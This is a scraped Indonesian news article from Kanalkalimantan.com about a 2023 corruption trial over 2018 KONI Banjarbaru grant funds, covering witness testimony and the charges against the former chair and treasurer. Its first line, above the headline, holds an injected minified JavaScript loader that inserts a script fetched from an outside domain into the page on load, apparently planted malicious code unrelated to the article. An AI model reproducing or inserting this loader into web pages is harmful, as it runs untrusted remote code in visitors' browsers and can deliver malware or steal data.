(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Sidang Korupsi Dana Hibah KONI Banjarbaru, Saksi Politisi hingga Anggota DPRD Dihadirkan


KANALKALIMANTAN.COM, BANJARMASIN – Sejumlah keterangan terkait dana hibah Pemko Banjarbaru ke KONI Banjarbaru, kembali terungkap dalam sidang di Pengadilan Tipikor Banjarmasin, Kamis (9/3/2023) siang.   

Jaksa Penuntut Umum (JPU) dari Kejari Banjarbaru menghadirkan empat saksi anaara lain, Said Subari (Wakil Ketua KONI Banjarbaru 2018), Ahmad Muriadi Pilawono (Ketua Cabor Renang dan Cabor Balap Motor 2018), Lauim Mahfuzi (mantan pengurus Cabor Anggar), dan Simuen (pelatih Cabor Tinju).   

Said Subari saksi pertama yang diperiksa menerangkan selama dirinya mejabat sebagai Wakil Ketua KONI Banjarbaru, dia tidak mengetahui terkait anggaran dana hibah yang diterima KONI Banjarbaru dari Pemko Banjarbaru pada tahun 2018 itu.   

Bahkan, purnawirawan TNI yang mendampingi terdakwa sebagai Wakil Ketua KONI ini mengaku tidak pernah dilibatkan pada setiap kegiatan KONI Banjarbaru, sehingga rincian dana pemasukan maupun pengeluaran di internal KONI Banjarbaru diluar dari sepengetahuannya.

 

Baca juga: Raih Dua Penghargaan dari Pemprov Kalsel, MPP Banjarbaru Jadi Terbaik Kedua

“Secara organisasi harusnya tahu rincian dana KONI, tapi pada pelaksanaanya saya tidak terlibat sama sekali di kegiatan,” kata Said Subari, salah satu ketua partai politik di Kota Banjarbaru ini.

Bahkan pada waktu masih menjabat dan sebelum perkara ini bergulir, saksi mantan Wakil Ketua KONI Banjarbaru mengaku pernah mengingatkan terdakwa untuk tertib dalam pelaksanaan admnistrasi keuangan.

“Saya pernah mengingatkan (Daniel Etta) untuk tertib administrasi, tapi diabaikan,” akunya.   

Terpisah, saksi Lauim Mahfuz menceritakan pada tahun 2019 dirinya kaget ada panggilan penyidik Kejari Banjarbaru, panggilan tersebut dikarenakan dirinya tercatat dalam SK sebagai Ketua Harian Cabor Anggar KONI Banjarbaru.

Baca juga: Unjuk Rasa ke Kejati Kalsel, Ini Dugaan yang Dilaporkan

Padahal menurutnya, sejak tahun 2013, dirinya sudah tidak aktif lagi mengurus Cabor Anggar baik pada KONI Kota Banjarbaru  maupun KONI tingkat provinsi.

“SK-nya pun hanya melihat waktu dipanggil di Kejaksaan,” ujarnya.

“Mulai dari pertama tidak ada honor juga, tidak tahu adfa kegiatan, tahu-tahu tercatat,” aku mantan atlet anggar ini.   

Sementara itu, saksi Ahmad Muriadi mengatakan, dana anggaran yang masuk pada Cabor Renang dan Balap Motor di tahun 2018 masing-masing sekitar Rp 30-40 Juta.

Berdasarkan hasil audit sebelumnya, JPU menerangkan pada Cabor Renang terdapat uang yang tidak dapat dipertangungjawabkan senilai Rp 2,1 juta.

Selain itu, pada Cabor renang juga didapati pengeluaran tidak benar sebanyak Rp 9 juta. Sedangkan pada Cabor Balap Motor tidak didapati kerugian negara atau pengeluaran yang tidak benar.

Baca juga: Dikira Kumpulan Anak Punk, Suporter Ini Malah Diantar ke Stadion Demang Lehman

Saksi yang saat ini menjabat sebagai anggota DPRD Kota Banjarbaru ini pun langsung mengatakan jika uang senilai Rp 2,1 juta tersebut sudah dikembalikan beberapa waktu lalu.

“Untuk yang 2 juta itu sudah dikembalikan kemarin,” ujarnya.   

Untuk diketahui, terdakwa mantan Ketua KONI Banjarbaru, Daniel Etta dan Bendahara Agustina Tri Wardhani didakwa melakukan tindak pidana korupsi dana hibah KONI Banjarbaru tahun anggaran 2018 senilai Rp  658 juta.

Keduanya disangakakan melanggar Pasal 23 Ayat 1 Jo Pasal 18 Undang-Undang Nomor 31 Tahun 1999 sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi Jo. Pasal 55 Ayat (1) ke-1 KUHPidana.

Baca juga: Pemkab HSU Gelar Operasi Pasar Murah Jelang Bulan Puasa

Sedang dakwaan Subsidair yaitu Pasal 3 Jo Pasal 18 Undang-Undang Nomor 31 Tahun 1999 Tentang Pemberantasan Tindak Pidana Korupsi sebagaimana telah diubah dan ditambah dengan Undang-Undang Nomor 20 tahun 2001 Tentang Pemberantasan Tindak Pidana Korupsi jo Pasal 55 Ayat (1) ke-1 KUHPidana.

Kedua terdakwa mengikuti persidangan secara daring dari Lapas yang berbeda, terdakwa Daniel mengikuti persidangan dari Lapas Banjarbaru, sedangkan terdakwa Agustina mengikuti dari Lapas Perempuan Martapura, Kabupaten Banjar. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Al Ghifari

Recent Posts

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

16 jam ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

19 jam ago

Laka Maut di Kawasan Murdjani Banjarbaru, Satu Pemotor Jalan Melawan Arus

KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More

22 jam ago

Debit BRI Multicurrency: Solusi Transaksi Global Tanpa Biaya Tambahan

KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More

23 jam ago

Peringatan HUT ke-25 DWP di Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More

23 jam ago

Menutup Tahun Pemko Banjarbaru Raih Dua Penghargaan

KANALKALIMANTAN.COM, BANJARBARU – Menutup tahun 2024, Pemerintah Kota (Pemko) Banjarbaru di era kepemimpinan Aditya Mufti… Read More

1 hari ago

This website uses cookies.